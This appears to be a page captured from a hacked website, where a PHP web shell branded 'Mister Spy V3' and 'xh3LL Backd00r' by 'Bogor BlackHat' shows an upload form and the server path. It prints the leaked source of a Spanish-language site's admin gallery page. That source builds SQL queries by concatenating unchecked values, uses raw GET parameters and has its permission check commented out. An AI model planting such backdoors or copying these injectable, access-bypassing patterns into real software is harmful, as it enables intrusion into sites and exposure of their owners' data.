Mister Spy Say ="Hello Kids ... :D" ___ ____ _ _____ | \/ (_) | | / ___| | . . |_ ___| |_ ___ _ __ \ `--. _ __ _ _ | |\/| | / __| __/ _ \ '__| `--. \ '_ \| | | | | | | | \__ \ || __/ | /\__/ / |_) | |_| | \_| |_/_|___/\__\___|_| \____/| .__/ \__, | | | __/ | |_| |___/ Bot Mister Spy V3
Mister Spy

Mister Spy

Current Path : /home/caballoscriollos/www/espanol/_admin_/
Upload File :
Current File : /home/caballoscriollos/www/espanol/_admin_/imagenes.php

<?php

require_once('../../Connections/cnx.php');
require_once('imagenes_conf.php'); 
require_once('imagenes_funcs.php');
require_once('ssi_seguridad.php'); 



$currentPage = $_SERVER["PHP_SELF"];

$maxRows_rsGaleria = 9;
$pageNum_rsGaleria = 0;
if (isset($_GET['pageNum_rsGaleria'])) {
  $pageNum_rsGaleria = $_GET['pageNum_rsGaleria'];
}
$startRow_rsGaleria = $pageNum_rsGaleria * $maxRows_rsGaleria;

mysql_select_db($database_cnx, $cnx);
$query_rsGaleria = "SELECT * FROM galeria_imagenes ORDER BY id_galeria ASC";
$query_limit_rsGaleria = sprintf("%s LIMIT %d, %d", $query_rsGaleria, $startRow_rsGaleria, $maxRows_rsGaleria);
$rsGaleria = mysql_query($query_limit_rsGaleria, $cnx) or die(mysql_error());
$row_rsGaleria = mysql_fetch_assoc($rsGaleria);

if (isset($_GET['totalRows_rsGaleria'])) {
  $totalRows_rsGaleria = $_GET['totalRows_rsGaleria'];
} else {
  $all_rsGaleria = mysql_query($query_rsGaleria);
  $totalRows_rsGaleria = mysql_num_rows($all_rsGaleria);
}
$totalPages_rsGaleria = ceil($totalRows_rsGaleria/$maxRows_rsGaleria)-1;

$queryString_rsGaleria = "";
if (!empty($_SERVER['QUERY_STRING'])) {
  $params = explode("&", $_SERVER['QUERY_STRING']);
  $newParams = array();
  foreach ($params as $param) {
    if (stristr($param, "pageNum_rsGaleria") == false && 
        stristr($param, "totalRows_rsGaleria") == false) {
      array_push($newParams, $param);
    }
  }
  if (count($newParams) != 0) {
    $queryString_rsGaleria = "&" . htmlentities(implode("&", $newParams));
  }
}
$queryString_rsGaleria = sprintf("&totalRows_rsGaleria=%d%s", $totalRows_rsGaleria, $queryString_rsGaleria);


$modulo="imagenes";
$nivel=$_SESSION['MM_Group'];
$sql="SELECT * FROM `niveles_permisos` WHERE `nivel` =".$nivel." AND `modulo` = '".$modulo."'";
$qry=mysql_query($sql);
$row=mysql_fetch_array($qry);
/*if($row['ver']==0){
require("cartel_permisos.php");exit;
}*/


?><!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1" />
<title>Documento sin t&iacute;tulo</title>
<link href="basico_backend.css" rel="stylesheet" type="text/css" />
<script language="javascript1.2">
function abrirPOP(img, txt)
{
	window.open('../galeria_de_imagenes_pop.php?img='+img+'&txt='+txt,'','width=<?=$ANCHO_IMG_GRANDE?>, height=<?=$ALTO_IMG_GRANDE?>, scrollbars=auto');
}
</script>
</head>

<body>
<table width="90%"  border="0" align="center" cellpadding="0" cellspacing="0" class="bordeGris">
  <tr>
    <td><table width="100%"  border="0" cellpadding="0" cellspacing="0" class="bordeGrisFondo">
      <tr>
        <td width="20" height="40" class="TituloRubro">&nbsp;</td>
        <td height="40"><span class="tituloPagina">MULTIMEDIA: GALERIAS</span></td>
      </tr>
    </table></td>
  </tr>
  <tr>
    <td valign="top">
<table width="100%"  border="0" cellspacing="0" cellpadding="0">
  <tr>
    <td width="20" height="40"><div align="right"><a href="personal_add.php"><img src="iconos/add.gif" alt="Agregar" width="16" height="14" border="0" /></a> </div></td>
    <td height="40"><a href="imagenes_add.php">Agregar Galer&iacute;a</a></td>
    <td width="10">&nbsp;</td>
  </tr>
  <tr>
    <td height="0">&nbsp;</td>
    <td height="0"><? 
if ($totalRows_rsGaleria == "0"){
}else{
?>
      <div align="right"> Registros <?php echo ($startRow_rsGaleria + 1) ?> a <?php echo min($startRow_rsGaleria 					+ $maxRows_rsGaleria, $totalRows_rsGaleria) ?> de <?php echo $totalRows_rsGaleria ?> </div>
      <?
}
?></td>
    <td width="10" height="0">&nbsp;</td>
  </tr>
</table></td>
  </tr>
  <tr>
    <td><div align="center">
<table border="0" cellpadding="0" cellspacing="0" width="100%">
<tr>
<?php
  	$tab = 1;
    if ($totalRows_rsGaleria > 0){
    	do{
		   
		   $id_galeria = $row_rsGaleria["id_galeria"];
		   
		   mysql_select_db($database_cnx, $cnx);
		   $sql = "SELECT * FROM galeria_imagenes WHERE id_galeria = '".$id_galeria."'";
		   $sql_datos = mysql_query($sql, $cnx) or die(mysql_error());
		   $rs = mysql_fetch_assoc($sql_datos);
		   
		   $foto_default_galeria = $rs['foto_default'];
		   $ruta_imagen_default_s = $DIR_GALERIA_IMG . str_pad($id_galeria, 6, '0', STR_PAD_LEFT) . "/s_" . $foto_default_galeria . ".jpg";
		   $ruta_imagen_default_b = $DIR_GALERIA_IMG . str_pad($id_galeria, 6, '0', STR_PAD_LEFT) . "/b_" . $foto_default_galeria . ".jpg";
		   
?>		
      	<td width="33%" height="170" align="center">
	      <p align="center"><br />
			<? 
			if(file_exists($ruta_imagen_default_s)) { 
			?>
			<span class="tituloCategoriaMenu"><?php echo $row_rsGaleria['galeria'];
			echo "<br>";
			?></span>
	          <a href="imagenes_mod.php?galeriaID=<?php echo $row_rsGaleria['id_galeria']; ?>"><img src='<?=$ruta_imagen_default_s;?>' border="0"></a>
			 <? }else{ ?>
            <img src='<?=$DIR_GALERIA_IMG?>default.jpg'>
	        <? } ?>
            <br>
<?  if($row['modificacion']){?>
			<a href="imagenes_mod.php?galeriaID=<?php echo $row_rsGaleria['id_galeria']; ?>">Editar Galer&iacute;a</a>&nbsp;
<? } ?>
<? if($row['baja']){?>		
			-&nbsp;<a href="imagenes_del.php?galeriaID=<?php echo $row_rsGaleria['id_galeria']; ?>">Eliminar Galer&iacute;a</a>
<? } ?>

			
			<br/>
	      </p>		  </td>
		  <?
		   if (($tab%3)==0){
		   		echo "</tr>";
		   }
		$tab++;	   
	} while ($row_rsGaleria = mysql_fetch_assoc($rsGaleria));  echo "</tr>";
	}else{ // fin de existencia registro 
	?>
</tr>
</table>
	<table width="90%"  border="0" align="center" cellpadding="0" cellspacing="0" bgcolor="#F3F3F3" class="bordeGris">
  <tr>
    <td>&nbsp;</td>
  </tr>
  <tr>
    <td><p align="center"><img src="iconos/alerta.gif"/></p></td>
  </tr>
  <tr>
    <td><p align="center"><span class="botoneraBordeau">Lo siento!</span></p></td>
  </tr>
  <tr>
    <td><p>&nbsp;</p></td>
  </tr>
  <tr>
    <td><div align="center">
      <p class="pNegroBold10">No hay registros disponibles</p>
    </div></td>
  </tr>
  <tr>
    <td><p>&nbsp;</p></td>
  </tr>
</table>
<br /><br /><br />
<?
}
?>

</table>
<br />
<br />

    </div></td>
  </tr>
  <tr>
    <td><table width="20%" border="0" align="center" cellpadding="0" cellspacing="0">
        <tr>
          <td width="23%" align="center"><?php if ($pageNum_rsGaleria > 0) { // Show if not first page ?>
                <a href="<?php printf("%s?pageNum_rsGaleria=%d%s", $currentPage, 0, $queryString_rsGaleria); ?>"><img src="First.gif" border=0></a>
                <?php } // Show if not first page ?>          </td>
          <td width="31%" align="center"><?php if ($pageNum_rsGaleria > 0) { // Show if not first page ?>
                <a href="<?php printf("%s?pageNum_rsGaleria=%d%s", $currentPage, max(0, $pageNum_rsGaleria - 1), $queryString_rsGaleria); ?>"><img src="Previous.gif" border=0></a>
                <?php } // Show if not first page ?>          </td>
          <td width="23%" align="center"><?php if ($pageNum_rsGaleria < $totalPages_rsGaleria) { // Show if not last page ?>
                <a href="<?php printf("%s?pageNum_rsGaleria=%d%s", $currentPage, min($totalPages_rsGaleria, $pageNum_rsGaleria + 1), $queryString_rsGaleria); ?>"><img src="Next.gif" border=0></a>
                <?php } // Show if not last page ?>          </td>
          <td width="23%" align="center"><?php if ($pageNum_rsGaleria < $totalPages_rsGaleria) { // Show if not last page ?>
                <a href="<?php printf("%s?pageNum_rsGaleria=%d%s", $currentPage, $totalPages_rsGaleria, $queryString_rsGaleria); ?>"><img src="Last.gif" border=0></a>
                <?php } // Show if not last page ?>          </td>
        </tr>
      </table></td>
  </tr>
  <tr>
    <td>&nbsp;</td>
  </tr>
</table>
</body>
</html>
<?php
mysql_free_result($rsGaleria);
?>

Mr. DellatioNx196 GaLers xh3LL Backd00r 1.0, Coded By Mr. DellatioNx196 - Bogor BlackHat